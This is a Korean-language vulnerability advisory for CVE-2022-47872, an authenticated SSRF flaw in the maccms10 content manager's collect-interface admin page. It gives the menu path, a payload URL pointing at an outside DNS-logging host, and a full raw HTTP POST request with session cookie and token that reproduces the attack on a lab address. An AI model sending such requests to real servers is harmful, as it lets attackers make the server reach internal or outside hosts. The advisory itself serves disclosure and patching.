CVE-2022-47872

#CVE-2022-47872

maccms10 관리자+ SSRF 공격

개요

제조사 웹사이트 정보：https://maccms.pro

소스 코드 다운로드 주소 ： https://github.com/maccmspro/maccms10.git

영향받는 버전: V2021.1000.2000

2.취약점 세부 정보

https://github.com/maccmspro/maccms10/issues/22

백그라운드에 진입하여 수집 --> 사용자 정의 인터페이스 --> 인터페이스 주소를 클릭합니다.

이름 상자에 payload1:http://7ca8e96e.dns.1433.eu.org.을 입력합니다.

이는 SSRF 공격을 유발할 수 있습니다.

취약점 이름：SSRF 공격

취약점 수준：중간 위험

취약점 위치： 수집 --> 사용자 정의 인터페이스 --> 인터페이스 주소 클릭

3.취약점 재현 및

POST http://192.168.52.163/admin.php/admin/collect/info.html HTTP/1.1

Host: 192.168.52.163

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0

Accept: /

AcceptLanguage: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding:gzip,deflate

Content-Type: applicat ion/ x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 226

Origin: http://192.168.52.163

Connection: close

Referer: http://192.168.52.163/admin.php/admin/collect/info.html

Cookie: PHPSESSID=gn328q2i2ruajsh96qoll65ia7

collect_id=&token=8d639020c85bde89f9276381d2460046&collect_name=1111&collect_url=http%3A%2F%2F7ca8e96e.dns.1433.eu.org.&collect_param=%26q%3D1&collect_type=1&collect_mid=1&collect_opt=Ø&collect_filter=0&collect_filter_from=